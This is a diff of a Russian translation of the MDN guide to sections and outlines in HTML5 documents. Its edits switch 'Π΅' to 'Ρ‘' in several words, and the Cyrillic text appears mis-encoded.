-<p><strong>Π’Π°ΠΆΠ½ΠΎ</strong>: Π’ настоящСС врСмя Π½Π΅Ρ‚ извСстных Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ° построСния структуры Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π² графичСских Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… прилоТСниях, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π΅Π°Π±ΠΈΠ»ΠΈΡ‚Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, хотя Ρ‚Π°ΠΊΠΎΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ Π²Π½Π΅Π΄Ρ€Π΅Π½ Π² Π΄Ρ€ΡƒΠ³ΠΈΠ΅ прилоТСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² срСдствах ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ соотвСтствия спСцификации. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ <a href="http://www.w3.org/TR/html5/sections.html#outline">построСния структуры</a> нСльзя ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ структуры Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ. Авторы Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΡŽΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для этой Ρ†Π΅Π»ΠΈ <a href="http://www.w3.org/TR/html5/sections.html#rank">ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ ваТности</a> Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² (<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h1</a></code>-<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h6</a></code>).</p>
+<p><strong>Π’Π°ΠΆΠ½ΠΎ</strong>: Π’ настоящСС врСмя Π½Π΅Ρ‚ извСстных Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ° построСния структуры Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π² графичСских Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… прилоТСниях, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π΅Π°Π±ΠΈΠ»ΠΈΡ‚Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, хотя Ρ‚Π°ΠΊΠΎΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ Π²Π½Π΅Π΄Ρ€Ρ‘Π½ Π² Π΄Ρ€ΡƒΠ³ΠΈΠ΅ прилоТСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² срСдствах ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ соотвСтствия спСцификации. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ <a href="http://www.w3.org/TR/html5/sections.html#outline">построСния структуры</a> нСльзя ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ структуры Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ. Авторы Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΡŽΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для этой Ρ†Π΅Π»ΠΈ <a href="http://www.w3.org/TR/html5/sections.html#rank">ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ ваТности</a> Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² (<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h1</a></code>-<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h6</a></code>).</p>
</div>
<p>БпСцификация HTML5 ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ нСсколько Π½ΠΎΠ²Ρ‹Ρ… элСмСнтов, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΡ… ΠΎΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ структуру Π²Π΅Π±-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ стандартной сСмантики. Π’ настоящСй ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ эти элСмСнты ΠΈ способы ΠΈΡ… использования для создания Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΠΎΠΉ структуры любого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
<h2 id="Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π°_Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°_Π²_HTML_4">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π² HTML 4</h2>
-<p>Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Ρ‚. Π΅. сСмантичСская структура ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ Π² Ρ‚Π΅Π³ΠΈΒ  <code>&lt;body&gt;</code> ΠΈ <code>&lt;/body&gt;</code>, являСтся основой для прСдставлСния страницы ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ. HTML4 ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ для описания структуры страницы Ρ€Π°Π·Π΄Π΅Π»Ρ‹ ΠΈ ΠΏΠΎΠ΄Ρ€Π°Π·Π΄Π΅Π»Ρ‹. Π Π°Π·Π΄Π΅Π» опрСдСляСтся элСмСнтом ({{HTMLElement("div")}}) с Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ Π² Π½Π΅Π³ΠΎ элСмСнтами Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}} ΠΈΠ»ΠΈ {{HTMLElement("h6")}}), содСрТащими Π΅Π³ΠΎ Π½Π°Π·Π²Π°Π½ΠΈΠ΅. Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° опрСдСляСтся ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡΠΌΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ этими элСмСнтами.</p>
+<p>Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Ρ‚. Π΅. сСмантичСская структура ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ³ΠΎ Π² Ρ‚Π΅Π³ΠΈΒ  <code>&lt;body&gt;</code> ΠΈ <code>&lt;/body&gt;</code>, являСтся основой для прСдставлСния страницы ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ. HTML4 ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ для описания структуры страницы Ρ€Π°Π·Π΄Π΅Π»Ρ‹ ΠΈ ΠΏΠΎΠ΄Ρ€Π°Π·Π΄Π΅Π»Ρ‹. Π Π°Π·Π΄Π΅Π» опрСдСляСтся элСмСнтом ({{HTMLElement("div")}}) с Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌΠΈ Π² Π½Π΅Π³ΠΎ элСмСнтами Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}} ΠΈΠ»ΠΈ {{HTMLElement("h6")}}), содСрТащими Π΅Π³ΠΎ Π½Π°Π·Π²Π°Π½ΠΈΠ΅. Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° опрСдСляСтся ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡΠΌΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ этими элСмСнтами.</p>
<p>Π’Π°ΠΊ, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ°:</p>
@@ -67,16 +67,16 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
<h2 id="КакиС_ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹_Ρ€Π΅ΡˆΠ°Π΅Ρ‚_HTML5">КакиС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Ρ€Π΅ΡˆΠ°Π΅Ρ‚ HTML5</h2>
-<p>ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ структуры Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ нСявный Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ создания структуры Π² HTML 4 Π½Π΅ ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ Ρ‡Π΅Ρ‚ΠΊΠΎΡΡ‚ΡŒΡŽ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΡ€ΠΎΠΆΠ΄Π°Π΅Ρ‚ мноТСство ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ:</p>
+<p>ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ структуры Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ нСявный Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ создания структуры Π² HTML 4 Π½Π΅ ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ Ρ‡Ρ‘Ρ‚ΠΊΠΎΡΡ‚ΡŒΡŽ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΡ€ΠΎΠΆΠ΄Π°Π΅Ρ‚ мноТСство ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ:</p>
<ol>
- <li>ИспользованиС {{HTMLElement("div")}} для задания сСмантичСских Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ², Π±Π΅Π· задания ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ для Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² <strong>class</strong> Π½Π΅ позволяСт Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ создания структуры («ЯвляСтся Π»ΠΈ Π΄Π°Π½Π½Ρ‹ΠΉ {{HTMLElement("div")}} Ρ‡Π°ΡΡ‚ΡŒΡŽ структуры страницы, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΌ Ρ€Π°Π·Π΄Π΅Π» ΠΈΠ»ΠΈ ΠΏΠΎΠ΄Ρ€Π°Π·Π΄Π΅Π», ΠΈΠ»ΠΈ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ для управлСния стилСм?Β»). Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, спСцификация HTML4 Π½Π΅ Π΄Π°Π΅Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ опрСдСлСния Ρ€Π°Π·Π΄Π΅Π»Ρƒ ΠΈ Ρ‡Π΅Ρ‚ΠΊΠΈΡ… ΠΏΡ€Π°Π²ΠΈΠ» Π΅Π³ΠΎ опрСдСлСния. АвтоматичСскоС созданиС структуры ΠΈΠΌΠ΅Π΅Ρ‚ большоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, особСнно Π² случаС с <a class="external" href="http://en.wikipedia.org/wiki/Assistive_technology" title="http://en.wikipedia.org/wiki/Assistive_technology">Ρ€Π΅Π°Π±ΠΈΠ»ΠΈΡ‚Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΌΠΈ тСхнологиями</a>, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΌΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π² соотвСтствии со структурой Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. HTML5 позволяСт большС Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнты {{HTMLElement("div")}} Π² Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ΅ построСния структуры благодаря добавлСнию Π½ΠΎΠ²ΠΎΠ³ΠΎ элСмСнта {{HTMLElement("section")}}.</li>
- <li>ΠžΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ нСсколько Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π² ΠΎΠ΄ΠΈΠ½ нСпросто: Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ΄Ρ‡ΠΈΠ½Π΅Π½Π½ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π² основной Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ измСнСния уровня элСмСнтов Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² для сохранСния ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ структуры. Π’ HTML5 эта ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Ρ€Π΅ΡˆΠ΅Π½Π° благодаря Π½ΠΎΠ²Ρ‹ΠΌ элСмСнтам задания Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² ({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} ΠΈ {{HTMLElement("aside")}}), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ всСгда ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΠΎΠ΄Ρ€Π°Π·Π΄Π΅Π»Π°ΠΌΠΈ блиТайшСго Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π°, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΈΠ΅ Ρ€Π°Π·Π΄Π΅Π»Ρ‹ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΌΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌΠΈ.</li>
+ <li>ИспользованиС {{HTMLElement("div")}} для задания сСмантичСских Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ², Π±Π΅Π· задания ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ для Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² <strong>class</strong> Π½Π΅ позволяСт Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ создания структуры («ЯвляСтся Π»ΠΈ Π΄Π°Π½Π½Ρ‹ΠΉ {{HTMLElement("div")}} Ρ‡Π°ΡΡ‚ΡŒΡŽ структуры страницы, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΌ Ρ€Π°Π·Π΄Π΅Π» ΠΈΠ»ΠΈ ΠΏΠΎΠ΄Ρ€Π°Π·Π΄Π΅Π», ΠΈΠ»ΠΈ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ для управлСния стилСм?Β»). Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, спСцификация HTML4 Π½Π΅ Π΄Π°Ρ‘Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ опрСдСлСния Ρ€Π°Π·Π΄Π΅Π»Ρƒ ΠΈ Ρ‡Ρ‘Ρ‚ΠΊΠΈΡ… ΠΏΡ€Π°Π²ΠΈΠ» Π΅Π³ΠΎ опрСдСлСния. АвтоматичСскоС созданиС структуры ΠΈΠΌΠ΅Π΅Ρ‚ большоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, особСнно Π² случаС с <a class="external" href="http://en.wikipedia.org/wiki/Assistive_technology" title="http://en.wikipedia.org/wiki/Assistive_technology">Ρ€Π΅Π°Π±ΠΈΠ»ΠΈΡ‚Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΌΠΈ тСхнологиями</a>, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΌΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π² соотвСтствии со структурой Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. HTML5 позволяСт большС Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнты {{HTMLElement("div")}} Π² Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ΅ построСния структуры благодаря добавлСнию Π½ΠΎΠ²ΠΎΠ³ΠΎ элСмСнта {{HTMLElement("section")}}.</li>
+ <li>ΠžΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ нСсколько Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π² ΠΎΠ΄ΠΈΠ½ нСпросто: Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ΄Ρ‡ΠΈΠ½Ρ‘Π½Π½ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π² основной Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ измСнСния уровня элСмСнтов Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² для сохранСния ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ структуры. Π’ HTML5 эта ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Ρ€Π΅ΡˆΠ΅Π½Π° благодаря Π½ΠΎΠ²Ρ‹ΠΌ элСмСнтам задания Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² ({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} ΠΈ {{HTMLElement("aside")}}), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ всСгда ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΠΎΠ΄Ρ€Π°Π·Π΄Π΅Π»Π°ΠΌΠΈ блиТайшСго Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π°, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΈΠ΅ Ρ€Π°Π·Π΄Π΅Π»Ρ‹ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΌΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌΠΈ.</li>
<li>Π’ HTML4 ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ структуры Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Однако часто Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ слоТной, Π½Π΅Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ структурой. Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Ρ€Π°Π·Π΄Π΅Π»Ρ‹, информация Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½Π΅ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ основного ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, хотя ΠΈ связана с Π½ΠΈΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΈΠ»ΠΈ ΠΏΠΎΡΡΠ½ΡΡŽΡ‰Π°Ρ Π·Π°ΠΌΠ΅Ρ‚ΠΊΠ°. HTML5 добавляСт элСмСнт {{HTMLElement("aside")}}, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ Ρ€Π°Π·Π΄Π΅Π»Ρ‹ ΠΈΠ· основной структуры.</li>
<li>ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π² HTML4 ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ структуры Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΊΠ°ΠΊ Π±Ρ‹Ρ‚ΡŒ с Ρ€Π°Π·Π΄Π΅Π»Π°ΠΌΠΈ, содСрТащими ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΊΠ°ΡΠ°ΡŽΡ‰ΡƒΡŽΡΡ Π½Π΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π° всСго сайта, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π»ΠΎΠ³ΠΎΡ‚ΠΈΠΏΡ‹, оглавлСния ΠΈΠ»ΠΈ информация ΠΎΠ± авторских ΠΏΡ€Π°Π²Π°Ρ… ΠΈ ΠΏΡ€Π°Π²ΠΎΠ²Ρ‹Π΅ полоТСния. Π’ HTML5 для этих Ρ†Π΅Π»Π΅ΠΉ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΎ Ρ‚Ρ€ΠΈ Π½ΠΎΠ²Ρ‹Ρ… элСмСнта:Β {{HTMLElement("nav")}} для Π½Π°Π±ΠΎΡ€ΠΎΠ² ссылок, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, оглавлСния, {{HTMLElement("footer")}} ΠΈ {{HTMLElement("header")}} для ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΊΠ°ΡΠ°ΡŽΡ‰Π΅ΠΉΡΡ всСго сайта. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ {{HTMLElement("header")}} ΠΈ {{HTMLElement("footer")}} Π½Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ Ρ€Π°Π·Π΄Π΅Π»Ρ‹ ΠΊΠ°ΠΊ {{HTMLElement("section")}}, Π°, скорСС, ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ ΡΠ΅ΠΌΠ°Π½Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ частСй Ρ€Π°Π·Π΄Π΅Π»Π°.</li>
</ol>
-<p>Π’ ΠΎΠ±Ρ‰Π΅ΠΌ, HTML5 обСспСчиваСт Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈ Π·Π°Π΄Π°Π½ΠΈΠΈ Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² ΠΈ ΠΎΠ³Π»Π°Π²Π»Π΅Π½ΠΈΠΉ, позволяя ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€Π΅Π΄ΡΠΊΠ°Π·ΡƒΠ΅ΠΌΡƒΡŽ структуру Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Ρ‡Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ качСствСнно ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.</p>
